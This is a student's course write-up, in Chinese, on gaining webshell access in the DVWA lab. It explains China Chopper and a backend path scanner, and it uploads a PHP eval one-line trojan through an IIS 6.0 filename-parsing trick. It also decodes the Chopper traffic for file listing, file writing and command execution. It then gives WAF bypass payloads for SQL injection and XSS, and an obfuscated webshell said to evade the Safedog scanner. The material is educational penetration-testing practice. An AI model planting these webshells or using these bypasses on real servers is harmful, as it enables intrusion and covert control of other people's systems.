2017-2018-2 『網絡對抗技術』Final:Web滲透獲取WebShell權限
————————CONTENTS————————
一.Webshell原理及簡介
1.什么是WebShell
WebShell,顧名思義:web指的是在web服務器上,而shell是用腳本語言編寫的腳本程序,WebShell是web的一個管理工具,可以對web服務器進行操作的權限,也叫WebAdmin。
WebShell一般是被網站管理員用於網站管理、服務器管理等等一些用途,但是由於WebShell的功能比較強大,可以上傳下載文件,查看數據庫,甚至可以調用一些服務器上系統的相關命令(比如創建用戶,修改刪除文件之類的),通常被黑客利用,黑客通過一些上傳方式,將自己編寫的WebShell上傳到web服務器的頁面的目錄下,然后通過頁面訪問的形式進行入侵,或者通過插入一句話連接本地的一些相關工具直接對服務器進行入侵操作。
WebShell根據腳本可分為:PHP腳本木馬、ASP腳本木馬,也有基於.NET的腳本木馬和JSP腳本木馬。除此之外,還有用Python腳本語言寫的動態網頁,因此也有與之相關的WebShell。
根據功能可分為:大馬和小馬。小馬通常指一句話木馬,例如:<%eval request(“pass”)%>
通常把這句話寫入一個文檔里面,然后文件名改成xx.asp
。然后傳到服務器上面。這里eval
方法將request(“pass”)
轉換成代碼執行,request
函數的作用是應用外部文件。這相當於一句話木馬的客戶端配置。而大馬具有更強大的功能,例如查看並操作服務器端文件等。
2.WebShell的特點
WebShell后門文件具有隱蔽性強、功能強、危害大等特點。WebShell與正常的網頁程序一樣,通過HTTP或者HTTPS協議訪問。由於使用與被控制服務器相同的web服務端口傳輸,因此不會被防火牆攔截。通過WebShell訪問不會在系統日志中留下記錄,只會在web網站的web日志中留下一些數據提交記錄。高級的WebShell程序僅會在web日志中出現GET或者POST的操作,不會有具體的后門操作信息,因此較難發現,隱蔽性強。
目前,WebShell后門程序功能強大,除了文件操作和數據庫操作之外,還可以提權,配合特定程序穿透內網,危害性較大。在通常情況下,通過WebShell可以實現讀取數據庫、導出數據庫文件、查看服務器具有訪問權限的所有文件等功能。在具有MySQL root賬號、MSSQL sa賬號等情況下,可以直接提升,獲得操作系統權限,通過執行特定程序實現如中轉、木馬植入等功能。
二.滲透工具簡介
1.中國菜刀
“中國菜刀”的英文名為“chopper”,是一款專業的網站管理軟件,用途廣泛,使用方便,小巧實用。只要支持動態腳本的網站,都可以用中國菜刀來進行管理。同樣地,攻擊者可利用該工具進行一些WebShell操作,從而實現對服務器文件的控制。
中國菜刀支持的服務端腳本:PHP、ASP,主要用於連接一句話木馬。主要功能有:文件管理(有足夠的權限時候可以管理整個磁盤/文件系統),數據庫管理,虛擬終端。當后門被上傳到服務器端之后,只需要知道后門的具體位置和連接密碼等相關信息,就可以執行腳本發起攻擊。
- Step1:“中國菜刀”可以在其官網http://www.maicaidao.co下載:
點擊“忽略此風險”,即可進入下載界面,在本地解壓:
- Step2:雙擊“caidao”可執行文件打開軟件,彈出界面如下所示:
右擊,在彈出的快捷菜單中選擇“添加”命令,即可添加shell地址。如下圖所示。
在“地址”文本框中輸入一句話木馬的shell地址,在“地址”文本框后面的文本框中輸入一句話木馬的連接密碼,在“配置”區域選擇腳本類型(程序會自動識別腳本類型),最后點擊“添加”按鈕,完成添加:
- Step3:雙擊剛剛添加的shell的地址,即可連接該后門。如果后門執行成功,則會顯示網站的目錄結構和文件等信息,如下圖所示:
可以看到,目標服務器端的目錄結構、文件名稱、時間、大小以及讀取權限都一覽無余了......
- Step4:除了可以獲取文件信息之外,在文件處右擊還有更多針對文件的可供選擇的操作:刪除、復制、重命名、修改文件夾時間、新建等等。其中,攻擊者可以利用“上傳文件”功能將更多大馬傳到服務器,完成更多的滲透攻擊。
功能好強大!那怎樣做才能查看甚至操作服務器端的文件呢?在后面的實戰中再詳細介紹~
2.御劍后台掃描工具
御劍后台掃描工具是為眾多從事網絡工作並擔任網絡安全管理職位的人制作的一款后台安全掃描工具,它能幫助實時監控后台文件的安全性,防御網站風險,為網站的正常運作提供最大的保障。但另一方面,御劍掃描枚舉可能的后台路徑這一行為,也為攻擊者爆庫和利用漏洞進入后台提供了便利。
- Step1:在https://u14147674.ctfile.com/fs/14147674-235576201可下載到該工具,在本地解壓:
- Step2:雙擊“御劍后台掃描工具”可執行文件打開軟件,彈出界面如下所示:
在“域名”輸入框中填入要掃描的后台地址,在下方可對掃描線程以及掃描時間進行設置。設置完畢,點擊“開始掃描”即可開始掃描。
這個工具到底有什么用呢?我們一起來試試看...
找來一個網站進行練習:http://demo.testfire.net/【這是一個真實的網站環境,但專門用於模擬滲透測試,所以不用擔心被請喝茶喔】
在“域名”輸入網址http://demo.testfire.net/
,開始掃描。掃描結果如下:
HTTP響應值為200,代表頁面可以訪問。點擊這個鏈接http://demo.testfire.net/admin/login.aspx,進入了后台管理的界面:
得到了這個界面,就可以進行下一步滲透測試啦~
三.web應用程序配置
有很多有漏洞的應用程序,我們可以用來以學習為目的練習滲透測試。下面是一些應用程序:
Damn Vulnerable Web Applications (DVWA): 基於PHP, Apache以及MySQL,需要安裝到本地。
OWASP WebGoat: J2EE web 應用程序,需要在本地運行。
Hack This Site:在線學習滲透測試的網站。
Testfire: 在線學習滲透測試的網站。
下面,我們將學習如何在虛擬機中安裝有漏洞的運行程序。在這個練習中,我們將配置Damn Vulnerable Web Application (DVWA)
。這個應用程序有若干基於web的漏洞,比如跨站腳本 (XSS), SQL注入, CSRF,命令注入等。
DVWA(Damn Vulnerable Web Application)
是一個用來進行安全脆弱性鑒定的PHP/MySQL Web
應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防范的過程。
安裝並運行web服務器的步驟如下:
-
Step1:下載XAMPP,網址為:https://www.apachefriends.org/download.html;對於Windows XP,可以在這里https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/1.8.2/xampp-win32-1.8.2-6-VC9-installer.exe/download下載XAMPP。
-
Step2:雙擊可執行文件進行安裝,一路next,除了路徑選擇之外並沒有什么需要特別注意的。
-
Step3:打開安裝目錄,可以找到如下三個可執行文件:
先雙擊“xampp_start”啟動:
再雙擊“xampp-control”打開xampp的控制面板。點擊“start”開啟Apache和MySQL的服務:
-
Step4:在http://www.dvwa.co.uk/下載DVWA應用程序,解壓到一個新的文件夾里,命名為“dvwa”。
-
Step5:打開
“C:\xampp\htdocs”
文件夾,把該文件夾里的內容移動到另外一個地方。把“dvwa”文件夾拷貝到C:\xampp\htdocs
目錄下。 -
Step6:在瀏覽器的地址欄中輸入
http://127.0.0.1/dvwa/login.php
,會出現“Database Setup”數據庫設置界面:
- Step7:到“C:\xampp\htdocs\dvwa\config”文件夾下,用記事本打開“config.inc”文件,移除“db_password”的值:
- Step8:回到瀏覽器,刷新頁面,會顯示一個登錄頁面。輸入默認的用戶名和口令如“admin/password”,登錄應用程序:
至此,我們成功配置了一個web服務器並在其上安裝了一個應用程序。接下來就可以訪問http://127.0.0.1/dvwa/login.php
開始攻擊練習了。
四.練習:利用DVWA文件上傳漏洞獲取WebShell權限
攻擊原理:web容器的解析漏洞,以及配合解析漏洞上傳木馬。
下面以最簡單的一句話木馬為例,進行測試:
使用用戶名admin
和密碼password
登錄DVWA,在左側選擇“File Upload”。
編寫一句話測試腳本OneCode.php
,內容為:
<?php
@eval($_POST['apple']);
?>
瀏覽並選擇此木馬文件:
點擊“Upload”,卻發現上傳失敗了:
提示Your image was not uploaded. We can only accept JPEG or PNG images.
,emmmmmmm...看來為了避免木馬腳本的攻擊,服務器對上傳文件格式進行了限制。
我們按照要求,上傳一個正常的“JPEG or PNG images”試試看:
成功了。那么作為攻擊者的我們,就應該考慮:如果將木馬文件重命名為圖片文件,是否可以上傳呢?
實踐證明,這種思路是可以完成上傳的。但上傳並不是我們的最終目的,圖片格式的木馬並不利於我們進一步執行腳本。還有沒有其他的思路呢?使其既能上傳,也能執行呢?
查閱資料了解到,DVWA網站服務器使用的是IIS 6.0的web容器。而IIS6.0有一個很著名的漏洞:文件解析漏洞。
如何利用IIS 6.0的解析漏洞呢?
IIS 6.0解析利用方法有兩種
- 目錄解析:
/xx.asp/xx.jpg
在網站下建立文件夾的名字為.asp
、.asa
的文件夾,其目錄內的任何擴展名的文件都被IIS當作asp
文件來解析並執行。
如果創建目錄 wooyun.asp
,那么/wooyun.asp/1.jpg
將被當作asp
文件來執行。假設攻擊者可以控制上傳文件夾路徑,不管上傳后的圖片改不改名,就都能拿shell了。
- 文件解析:
wooyun.asp;.jpg
在IIS6.0下,分號后面的不被解析,也就是說wooyun.asp;.jpg
會被服務器看成是wooyun.asp
。
根據上面的解釋,在這里,我們將一句話測試腳本OneCode.php
重命名為OneCode.php;.jpg
再次嘗試上傳:
點擊“Upload”,成功上傳:
同時我們可以看到給出了腳本所在的相對路徑:../../hackable/uploads/OneCode.php;.jpg
。
一句話木馬通常與需要與一句話木馬相應的客戶端同時使用,才能實現對服務器的控制。這時候就需要用到我們之前提到的“中國菜刀”工具了。
下面嘗試連接這個一句話木馬。
打開菜刀工具,添加一個shell,其中地址可根據給出的相對路徑得到:http://192.168.130.132/dvwa/hackable/uploads/OneCode.php;.jpg
,后面的連接密碼填腳本中寫的“apple”,腳本類型為“PHP(Eval)”,添加。
雙擊這個shell,成功獲取到了服務器端的全部文件:
在某些情況下,服務器對上傳文件大小會有限制,因此攻擊者往往選擇先上傳比較小的一句話木馬,使用菜刀工具成功連接后再在菜刀工具中上傳更大的木馬,以實現對服務器端全面的控制。
至此,我們就成功利用DVWA文件上傳漏洞獲取到了WebShell權限。
五.中國菜刀原理剖析
在上面的實踐中,我們親身體會到了“中國菜刀”工具的強大之處。那么它是如何進行通信的呢?如何借助已上傳的一句話木馬實現目錄顯示、文件上傳和模擬虛擬終端等功能的呢?
1.目錄顯示
中國菜刀提供了非常方便的文件管理功能,新建連接,雙擊打開連接后,即可看到服務器端文件目錄的界面:
接下來我們檢查一下中國菜刀的通訊網絡流量,通過抓包軟件分析器服務器和客戶端的通訊情況,如下圖所示,可以看出客戶端在80端口上,以HTTP POST方式通訊:
利用抓包軟件Wireshark的“跟蹤流”功能可以看到整個TCP數據交互過程。如下圖所示,上面紅色部分為攻擊者POST提交控制命令的內容,下面藍色部分為被控端返回結果:
我們將關注點放在攻擊者控制代碼部分,打開這個包:
可見攻擊者為了防止特殊字符傳輸失敗的異常,代碼經過了Base64編碼。內容為:
apple=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXDIwMTU1MzAzXFw%3D
最前面的部分為經過url編碼的數據,解碼之后為:apple=@eval(base64_decode($_POST[z0]));
,意為將z0數據以POST的方式提交,並使用Base64解碼,最后再解析為腳本執行。
接下來我們看看z0代表的參數的值。將“&z0=”后面的部分解碼並格式化,結果為:
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("|<-");;
$D=base64_decode($_POST["z1"]);
$F=@opendir($D);
if($F==NULL)
{
echo("ERROR:// Path Not Found Or No Permission!");
}
else{
$M=NULL;
$L=NULL;
while($N=@readdir($F))
{
$P=$D."/".$N;
$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R="\t".$T."\t".@filesize($P)."\t"$E."";
if(@is_dir($P))
$M.=$N."/".$R;
else $L.=$N.$R;
}
echo $M.$L;
@closedir($F);
};
echo("|<-");
die();
&z1=C:\\20155303\\
通過查詢手冊,具體分析關鍵函數及參數的含義:
@ini_set("display_errors","0");
臨時關閉PHP的錯誤顯示功能;@set_time_limit(0);
防止上傳文件大馬時,會產生超時;@set_magic_quotes_runtime(0);
magic_quotes_runtime 是php.ini里的環境配置變量,0和false表示關閉本功能,1和true表示打開本功能。當magic_quotes_runtime打開時,所有外部引入的數據庫資料或者文件等都會自動轉為含有反斜線溢出;echo("|<-");
一個簡單的打印;$D=base64_decode($_POST["z1"]);
設置變量D為目錄句柄,內容為POST提交的z1。z1參數的具體值在最后面進行了說明:&z1=C:\\20155303\\
;$F=@opendir($D);
opendir() 函數打開一個目錄句柄,可由 closedir(),readdir() 和 rewinddir() 使用。若成功,則該函數返回一個目錄流,否則返回 false 以及一個 error。可以通過在函數名前加上 "@" 來隱藏 error 的輸出;$N=@readdir($F)
readdir() 函數返回由 opendir() 打開的目錄句柄中的條目。若成功,則該函數返回一個文件名,否則返回 false;$P=$D."/".$N;
返回目錄下的所有文件;$T=@date("Y-m-d H:i:s",@filemtime($P));
返回該目錄或文件的時間;@$E=substr(base_convert(@fileperms($P),10,8),-4);
以數字方式顯示文件或目錄的權限,其中fileperms() 函數返回文件或目錄的權限,base_convert() 函數在任意進制之間轉換數字;$R="\t".$T."\t".@filesize($P)."\t"$E."";
返回指定文件大小的字節數。
從代碼可以清楚地看出,在接收z1=C:\\20155303\\
這個參數后,代碼打開指定目錄的句柄,然后進行循環掃描,並附帶上權限、時間、大小、日期這四個參數,用\t制表符拼在一起捆綁發送回客戶端。到客戶端之后,再用string_split之類的函數分開來,循環一一顯示在UI上。
執行完這些腳本代碼之后,就完成了目錄顯示的功能。
2.文件上傳
接下來看看獲取WebShell最重要的功能——上傳文件,這是下一步滲透攻擊的基礎。首先上傳一張圖片:
這次wireshark抓到了兩組對話,基本內容大概可以猜到了,一個是上傳文件,一個是刷新並顯示目錄。我們先來分析第一個包:
數據部分為:
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik/IjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==
解碼之后的結果為:
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();
&z1=C:\\final\\4ṇ.png
后面&z2=...
部分是所傳圖片以十六進制方式顯示的結果。
這段代碼最關鍵的部分是最后的fwrite()
函數,也就是將我們指定的裝滿數據的緩沖區寫入指定的路徑中。只要Apache用戶在當前目錄下有寫權限,PHP腳本調用windows API時就可以完成寫操作,也就是文件上傳。
剛才提到文件上傳過程中,客戶端與服務器進行了兩次交互。我們再來看看第二個數據包中的內容:
解碼之后的內容為:
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();
可以看出,跟我們之前分析過的“顯示目錄”部分的腳本代碼大同小異。這部分代碼功能就是在上傳文件之后,對文件目錄進行刷新,顯示出剛剛上傳的文件。
3.虛擬終端
這個功能更加神奇了,效果跟我們攻擊成功獲得的cmd shell一樣:
我們試着分析一下它的原理。先運行一個dir命令,抓包如下:
同樣地將數據部分解碼,得到:
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$ret);
print ($ret!=0)?"
&z1=cmd
&z2=cd /d "C:\xampp\htdocs\dvwa\hackable\uploads\"&dir&echo [S]&cd&echo [E]
查找手冊,看看關鍵函數如何使用:
dirname()
返回路徑中的目錄部分;$_SERVER["SCRIPT_FILENAME"]
當前執行腳本的絕對路徑,獲取后供dir命令等使用;substr()
返回字符串的一部分;$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
這是一段正則表達式,用捕獲分組獲得字符串中的參數,這里也就是 cd /d C:\xampp\htdocs\dvwa\hackable\uploads\、 dir、 echo、 cd、 echo。@system($r." 2>&1",$ret);
本函數就像是C中的函數system(),用來執行指令,並輸出結果。若是 return_var 參數存在,則執行 command 之后的狀態會填入 return_var 中;
也就是說,我們指定的命令會傳入system函數中執行,並輸出結果。
六.淺析如何繞過WAF
前面學習了一些常見WebShell滲透工具的工作機制,但都是基於沒有防火牆的網站,這顯然不符合真實的場景。因此,掌握繞過各類WAF可以說是滲透測試人員的一項基本技能。
目前市場上的WAF主要有以下幾類:
- 以安全狗為代表的基於軟件WAF
- 百度加速樂、安全寶等部署在雲端的WAF
- 硬件WAF
考慮到實際情況,我們主要針對安全狗繞過進行簡要分析。
在安全狗官網下載軟件並安裝,注意區分IIS版和Apache版。
安裝之后,對網站文件目錄進行掃描。這里我們直接掃描已經上傳過大馬和小馬的環境,結果如下:
可以看出,安全狗成功檢測出了網站存在的大馬和小馬。那么,如何繞過WAF上傳木馬呢?
1.大小寫轉換法:
在某些WAF中,使用的正則存在缺陷,比如沒有使用大小寫轉換函數,因此可根據這個漏洞編寫大馬或小馬,如:
SQL:sEleCt vERsIoN();
XSS:<sCrIpt>alert(1)</script>
2.字符編碼法:
常見的SQL編碼有unicode、HEX、URL、ascll、base64等,XSS編碼有:HTML、URL、ASCII、JS編碼、base64等等。
可以通過利用瀏覽器上的進制轉換或語言編碼規則來繞過WAF,如:
SQL:load_file(0x633A2F77696E646F77732F6D792E696E69)
XSS:<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>
3.字符拼湊法:
如果過濾了某些字符串,我們可以在他們兩邊加上“原有字符串”的一部分。
在這里利用了WAF的不完整性,只驗證一次字符串,或過濾的字符串並不完整,如:
SQL:selselectect verversionsion();
XSS:<scr<script>rip>alalertert</scr</script>rip>
4.關鍵字替換法:
部分WAF是通過黑名單來起到攔截的作用的,將某些函數放入黑名單,從而實現攔截。這種情況下,可以使用關鍵字替代來實現繞過。
比如在MySQL中,WAF將sleep()函數列入黑名單,可以通過具備相同功能的benchmark()函數來實現繞過。下面列舉了一些功能相同的替代函數:
< > 等價於 BETWEEN
= 等價於 like
Hex() bin() 等價於ascii()
Sleep() 等價於 benchmark()
Mid()substring() 等價於 substr()
@@user 等價於 User()
@@Version 等價於 version()
5.空白符繞過法
基於正則表達式的WAF,SQL諸如規則使用正則表達式的“\s”匹配空格,例如:select\s+union
。
利用空白字符進行繞過,例如union select
被攔截,只需要把中間空白字符替換為%250C
,%25A0
等進行繞過。
union%250Cselect
union%25A0select
再比如我們前面提到的一句話木馬:
<?php
@eval($_POST['apple']);
?>
在一開始就會被攔截:
要想繞過WAF,我們要做的就是對一句話木馬進行變形,不外乎就是拆分替換、反序列化、動態函數(比如$_GET['function']($_POST['Cknife'])
;)使用回調函數(比如usort
、array_map
)、使用匿名函數、使用特定函數(比如create_function
,asset
)等等。
我們首先嘗試使用匿名函數,用create_function
創建了一個匿名函數chopper
,用它來代替eval
。如下為代碼變形后的一句話木馬:
<?php
$chopper = create_function('$a', 'eval($a);');
$chopper($_POST['chopper']);
?>
仍然會被安全狗檢測出來,這是因為構造的匿名函數$chopper
中也包含了eval
關鍵詞,所以被查殺。
再使用拆分法,把eval
拆分為ev
和al
,再在有引號的參數前面加入stripslashes
函數去除轉移符號,即修改為:
<?php
$chopper = create_function('$a', 'ev'.'al($a);');
$chopper(stripslashes($_POST['chopper']));
?>
再次提交並嘗試連接,就可以成功啦~
總之,繞過WAF就是不停嘗試WAF的檢測規則,由於WAF不能對正常的文件進行攔截,若過濾規則過於嚴格,會對網站正常訪問產生影響。作為攻擊者,就需要找到檢測規則的漏洞,既能繞過WAF,又能實現代碼本來的攻擊功能。
寫在最后:WebShell實踐總結及本學期學習感想
WebShell
就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也可以將其稱做為一種網頁后門。黑客在入侵了一個網站后,通常會將asp或php后門文件與網站服務器WEB目錄下正常的網頁文件混在一起,然后就可以使用瀏覽器來訪問asp或者php后門,得到一個命令執行環境,以達到控制網站服務器的目的。顧名思義,“web”的含義是顯然需要服務器開放web服務,“shell”的含義是取得對服務器某種程度上操作權限。WebShell
常常被稱為入侵者通過網站端口對網站服務器的某種程度上操作的權限。由於webshell
其大多是以動態腳本的形式出現,也有人稱之為網站的后門工具。
在本次實踐中,我了解了WebShell
相關的知識,學習了大馬小馬的編寫方式,還嘗試使用了獲取WebShell
的常用工具,並對其實現機理進行了深入分析,最后上述基礎上,搭建網站,部署WAF,並學習了繞過WAF的幾種方式。整體來看,如何通過WebShell
完成一次成功的攻擊,這個脈絡還是比較清晰的。入手點以及需要考慮的問題主要有以下幾個:****第一,木馬如何編寫?在滲透之前,首先要明白自己目的何在。上傳大馬還是小馬?是顯示后台目錄還是執行某些命令?一些網站會對上傳文件的大小進行限制,這就需要先上傳簡單的一句話木馬,再通過工具上傳更大的木馬了。第二,如何上傳木馬?出於安全性考慮,一般網站並不允許上傳一些疑似木馬的文件,這就需要尋找存在的漏洞進行上傳。針對IIS 6.0
而言,我們可以利用文件解析漏洞實現上傳。第三,上傳之后,如何控制我們上傳的腳本文件,讓其完成功能?如果已經上傳了大馬,直接訪問大馬的腳本網頁即可;如果是一句話木馬,就需要先使用中國菜刀等工具進行連接,再進行后續操作。連接時還需要考慮,如何繞過WAF呢?把以上三個步驟都實現了,控制網站服務器的目的也就達成了。
為什么當時會選擇免考呢?跟其他課程不同,《網絡對抗技術》這門課從開始到結束都是以實踐貫穿的,無論是逆向破解、后門、免殺,還是MSF使用、網絡欺詐等等,都是在不斷動手動手動手動手動手動手動手的過程中掌握知識的。所以哈,雖然每次實驗都做得很舒服很帶感很刺激,但如果期末以卷面形式考,還真跟平時實踐不是一種感覺呢......善始善終吧,多么有趣的一門課,那就以一個有趣的實踐,而不是枯燥的卷面考試,來為一學期的努力畫上句號咯。
為什么要選WebShell這個主題?emmmmmmmmm...WebShell這個方向,在九次實驗中並沒有涉及,其實本來打算深化其中一個實驗的內容的,但在劉老師的建(song)議(yong)之下,憑着自己對未知的興趣,就勇敢地來嘗試新鮮事物啦!在實踐的過程中還是走了不少彎路的,艱苦卓絕的自學之旅從圖書館借書開始。一邊讀一邊查一邊試,漸漸摸出了門路,知道了滲透的基本流程是怎樣的。但剛開始也僅僅局限於科普的程度而已。之后每學會一點完成一點,就去向劉老師請教並探討進一步的方向,非常感謝老師不厭其煩的講解和啟發!!!從環境的正確搭建,到對工具原理的深入剖析,在“提問——思考——動手——領悟——再提問”這個循環中,漸漸對這個實踐主題有了更加深刻的理解。
總之,為期五個月的,以實踐貫穿始終的『網絡對抗技術』課程就告一段落啦。九個實驗+期末免考項目,這門課程帶給了我不一樣的體會。以前聽婁老師課的時候,總有同學抱怨老師上課講的少,可能還是沒有適應這種動手的學習方式吧,總寄希望於按照PPT背誦期末拿高分。但對於這門課,不動手就無法拿到一丁點分數。老師能布置一些有趣的實驗調動同學們的積極性,改變對“動手”的抵觸心理,實在是難能可貴~希望在今后的學習中,能不忘初心,不忘專業對我們的要求,繼續鍛煉實踐能力,在信息安全這條道路上越走越遠吧!